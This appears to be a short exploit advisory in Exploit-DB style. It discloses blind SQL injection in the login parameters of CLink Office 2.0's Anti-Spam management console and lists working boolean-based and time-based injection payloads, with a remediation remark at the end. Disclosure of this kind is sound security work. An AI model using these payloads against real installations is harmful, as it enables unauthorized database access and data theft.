# Exploit Title: Multiple blind SQL injection vulnerabilities in in CLink Office 2.0 Anti-Spam management console 
# Date: 30 Mar 2022 
# Exploit Author: Erwin Chan, Stephen Tsoi 
# Vendor Homepage: https://www.communilink.net/ 
# Softwar: CLink Office 
# Version: 2.0 
# Tested on: CLink Office 2.0 Anti-Spam management console

Vulnerability details below:

Affected URL: /cgi-bin/anti-spam.pl
Affected Parameter: username, password
Payload example:
- boolean-based blind SQLi
* ' AND 1234=(SELECT (CASE WHEN (TRUE) THEN 1234 ELSE (SELECT 1111 UNION
SELECT 2222) END))-- LMgx*
*' AND 1234=(SELECT (CASE WHEN (FALSE) THEN 1234 ELSE (SELECT 1111 UNION
SELECT 2222) END))-- LMgx*
- time-based blind SQLi
*' OR SLEEP(5)-- LMgx*

As a result, we were able to dump database data on application. I recommend
development team to perform input sanitization on affected parameters.
Please lets me know if you have any questions. Thanks.